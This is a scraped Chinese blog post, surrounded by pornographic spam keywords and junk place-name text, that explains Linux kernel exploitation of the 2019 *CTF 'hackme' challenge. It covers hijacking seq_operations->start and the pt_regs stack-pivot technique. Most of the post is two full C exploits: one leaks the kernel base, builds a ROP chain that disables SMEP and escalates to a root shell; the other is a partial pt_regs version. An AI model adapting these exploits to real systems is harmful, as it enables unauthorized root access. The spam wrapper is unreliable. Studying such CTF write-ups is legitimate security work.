最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

kernel利用pt?regs劫持seq?operations的遷移過程詳解

 更新時間:2022年05月16日 12:06:16   作者:狒猩橙  
這篇文章主要為大家介紹了kernel利用pt_regs劫持seq_operations進行遷移的過程詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪

劫持seq_operations進行棧遷移

seq_operations是一個大小為0x20的結構體,在打開/proc/self/stat會申請出來。里面定義了四個函數(shù)指針,通過他們可以泄露出內核基地址。

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

當我們read一個stat文件時,內核會調用proc_ops的proc_read_iter指針

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    struct seq_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即會調用seq_operations->start指針,我們只需覆蓋start指針為特定gadget,即可控制程序執(zhí)行流。

拿2019 *starctf hackme關閉smap來嘗試這種打法

exp1

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}
void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}
void get_shell()
{
	if (getuid() == 0)
	{
		puts("[+] get root");
		//system("/bin/sh");
		char *shell = "/bin/sh";
		char *args[] = {shell, NULL};
		execve(shell, args, NULL);
	}
	else
	{
		puts("[-] get shell error");
		sleep(3);
		exit(0);
	}
}
void get_root(void)
{
	//commit_creds(prepare_kernel_cred(0));
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}
int main()
{
	char buf[0x1000] = {0};
	int i;
	size_t seq_data[4] = {0};
	save_status();
	fd = open("/dev/hackme",0);
	if(fd < 0)
	{
		puts("[-] open file error");
		exit(0);
	}
	add(0, 0x20, buf); // 0
	add(1, 0x20, buf); // 1
	add(2, 0x20, buf); // 2
	add(3, 0x20, buf); // 3
	delete(0);
	delete(2);
	int fd_seq = open("/proc/self/stat", 0);
	if(fd_seq < 0)
	{
		puts("[-] open stat error");
		exit(0);
	}
	show(3, 0x20, -0x20, buf);
	vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
	off = vmlinux_base - raw_vmlinux_base;
	commit_creds = off + 0xffffffff8104d220;
	prepare_kernel_cred = off + 0xffffffff8104d3d0;
	show(1, 0x20, -0x20, buf);
	heap_base = ((size_t *)buf)[0] - 0x80;
	printf("[+] heap_base=> 0x%lx\n", heap_base);
	i = 0;
	rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
	rop[i++] = 0x6f0;
	rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = (size_t)get_root;
	rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; 
	rop[i++] = 0;
	rop[i++] = 0;
	rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;
	((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;
	edit(3, 0x20, -0x20, buf);
	size_t fake_stack = (heap_base + 0x40) & 0xffffffff;
	size_t mmap_base = fake_stack & 0xfffff000;
	if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
		{
			puts("[-] mmap error");
			sleep(3);
			exit(0);
		}
	else
		puts("[+] mmap success");
	memcpy((void *)fake_stack, rop, sizeof(rop));
	read(fd_seq, buf, 1);
	return 0;
}

利用pt_regs

可以寫一段如下匯編來控制程序執(zhí)行流,再通過將寄存器押上棧進行ROP

	__asm__(
	"mov r15, 0x1111111111;"
	"mov r14, 0x2222222222;"
	"mov r13, 0x3333333333;"
	"mov r12, 0x4444444444;"
	"mov rbp, 0x5555555555;"
	"mov rbx, 0x6666666666;"
	"mov r11, 0x7777777777;"
	"mov r10, 0x8888888888;"
	"mov r9,  0x9999999999;"
	"mov r8,  0xaaaaaaaaaa;"
	"mov rcx, 0x666666;"
	"mov rdx, 8;"
	"mov rsi, rsp;"
	"mov rdi, fd_seq;"
	"xor rax, rax;"
	"syscall"
	);

這是為什么呢?大家都知道系統(tǒng)調用是通過布置好寄存器的值之后執(zhí)行syscall的過程,通過門結構進入到內核中的entry_SYSCALL_64函數(shù)。這個函數(shù)的內部存在這樣一條指令: 

PUSH_AND_CLEAR_REGS rax=$-ENOSYS

這個指令很巧妙,他會把所有的寄存器壓到棧上形成一個pt_regs結構體,位于內核棧底。

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

這里寄存器r8-r15都會被放到棧上,如果我們可以合理控制好這些寄存器的值,再找到一個add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序執(zhí)行流,考慮到一般這里棧上連續(xù)存放的寄存器一般只有4-5個

我們可以用commit_creds(&init_cred)來代替commit_creds(prepare_kernel_cred(NULL)),

布局如下:

pop_rdi_ret;
init_cred;
commit_creds;
swapgs_restore_regs_and_return_to_usermode;

由于我這里并沒有能找到合適的add rsp, xxxh; ret;,故就留一個調試半成品exp

exp2

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd_seq;
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}
void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}
void get_shell()
{
	if (getuid() == 0)
	{
		puts("[+] get root");
		//system("/bin/sh");
		char *shell = "/bin/sh";
		char *args[] = {shell, NULL};
		execve(shell, args, NULL);
	}
	else
	{
		puts("[-] get shell error");
		sleep(3);
		exit(0);
	}
}
void get_root(void)
{
	//commit_creds(prepare_kernel_cred(0));
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}
int main()
{
	char buf[0x1000] = {0};
	int i;
	size_t seq_data[4] = {0};
	save_status();
	fd = open("/dev/hackme",0);
	if(fd < 0)
	{
		puts("[-] open file error");
		exit(0);
	}
	add(0, 0x20, buf); // 0
	add(1, 0x20, buf); // 1
	delete(0);
	fd_seq = open("/proc/self/stat", 0);
	if(fd_seq < 0)
	{
		puts("[-] open stat error");
		exit(0);
	}
	show(1, 0x20, -0x20, buf);
	vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
	off = vmlinux_base - raw_vmlinux_base;
	commit_creds = off + 0xffffffff8104d220;
	prepare_kernel_cred = off + 0xffffffff8104d3d0;
	size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;
	((size_t *)buf)[0] = gadget;
	edit(1, 0x20, -0x20, buf);
	__asm__(
	"mov r15, 0x1111111111;"
	"mov r14, 0x2222222222;"
	"mov r13, 0x3333333333;"
	"mov r12, 0x4444444444;"
	"mov rbp, 0x5555555555;"
	"mov rbx, 0x6666666666;"
	"mov r11, 0x7777777777;"
	"mov r10, 0x8888888888;"
	"mov r9,  0x9999999999;"
	"mov r8,  0xaaaaaaaaaa;"
	"mov rcx, 0x666666;"
	"mov rdx, 8;"
	"mov rsi, rsp;"
	"mov rdi, fd_seq;"
	"xor rax, rax;"
	"syscall"
	);
	return 0;
}

以上就是kernel利用pt_regs劫持seq_operations的遷移過程詳解的詳細內容,更多關于kernel劫持遷移的資料請關注腳本之家其它相關文章!

相關文章

  • C語言中關于動態(tài)內存分配的詳解

    C語言中關于動態(tài)內存分配的詳解

    動態(tài)內存是指在堆上分配的內存,而靜態(tài)內存是指在棧上分配的內存。棧上分配的內存是由系統(tǒng)分配和釋放的,空間有限,在復合語句或函數(shù)運行結束后就會被系統(tǒng)自動釋放而堆上分配的內存則不會有這個問題。
    2021-09-09
  • 舉例講解C語言對歸并排序算法的基礎使用

    舉例講解C語言對歸并排序算法的基礎使用

    這篇文章主要介紹了C語言對歸并排序算法的使用,歸并排序算法的平均事件復雜度為(n\log n),需要的朋友可以參考下
    2016-05-05
  • c語言實現(xiàn)詞頻統(tǒng)計的簡單實例

    c語言實現(xiàn)詞頻統(tǒng)計的簡單實例

    下面小編就為大家?guī)硪黄猚語言實現(xiàn)詞頻統(tǒng)計的簡單實例。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2016-09-09
  • C++ Boost Coroutine使用協(xié)程詳解

    C++ Boost Coroutine使用協(xié)程詳解

    通過Boost.Coroutine,可以在C++中使用協(xié)程。協(xié)程是其他編程語言的一個特性,通常使用關鍵字yield來表示協(xié)程。在這些編程語言中,yield可以像return一樣使用
    2022-11-11
  • C++類的自動轉換和強制類型轉換的實現(xiàn)示例

    C++類的自動轉換和強制類型轉換的實現(xiàn)示例

    類的自動轉換和強制類型轉換是面向對象編程中處理類型之間轉換的兩種重要機制,本文就來介紹一下這兩種方法的實現(xiàn),具有一定的參考價值,感興趣的可以了解一下
    2024-07-07
  • C++?棧和隊列的實現(xiàn)超詳細解析

    C++?棧和隊列的實現(xiàn)超詳細解析

    棧和隊列,嚴格意義上來說,也屬于線性表,因為它們也都用于存儲邏輯關系為?"一對一"?的數(shù)據,但由于它們比較特殊,因此將其單獨作為一章,做重點講解
    2022-03-03
  • C++四種case的詳細介紹小結

    C++四種case的詳細介紹小結

    本文主要介紹了C++四種case的詳細介紹小結,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2022-05-05
  • C/C++?引用作為函數(shù)的返回值方式

    C/C++?引用作為函數(shù)的返回值方式

    這篇文章主要介紹了C/C++?引用作為函數(shù)的返回值方式,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-07-07
  • C語言編寫學生成績管理系統(tǒng)

    C語言編寫學生成績管理系統(tǒng)

    這篇文章主要為大家詳細介紹了C語言編寫學生成績管理系統(tǒng),文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-01-01
  • c++素數(shù)篩選法

    c++素數(shù)篩選法

    本文講的是篩選法的C++實現(xiàn), 篩選法又稱篩法,是求不超過自然數(shù)N(N&gt;1)的所有質數(shù)的一種方法。據說是古希臘的埃拉托斯特尼(Eratosthenes,約公元前274~194年)發(fā)明的,又稱埃拉托斯特尼篩子。
    2017-05-05

最新評論

铜山县| 贵南县| 贵港市| 北流市| 南京市| 安新县| 湘阴县| 陇西县| 曲阳县| 综艺| 东宁县| 贺兰县| 滕州市| 个旧市| 尚志市| 九龙县| 读书| 黄平县| 蒲城县| 天等县| 郑州市| 依安县| 龙海市| 密山市| 大理市| 巫溪县| 祁阳县| 二手房| 云梦县| 甘德县| 安义县| 湘潭市| 哈密市| 六安市| 元氏县| 宜阳县| 昌平区| 阿坝县| 阿鲁科尔沁旗| 常德市| 乌恰县|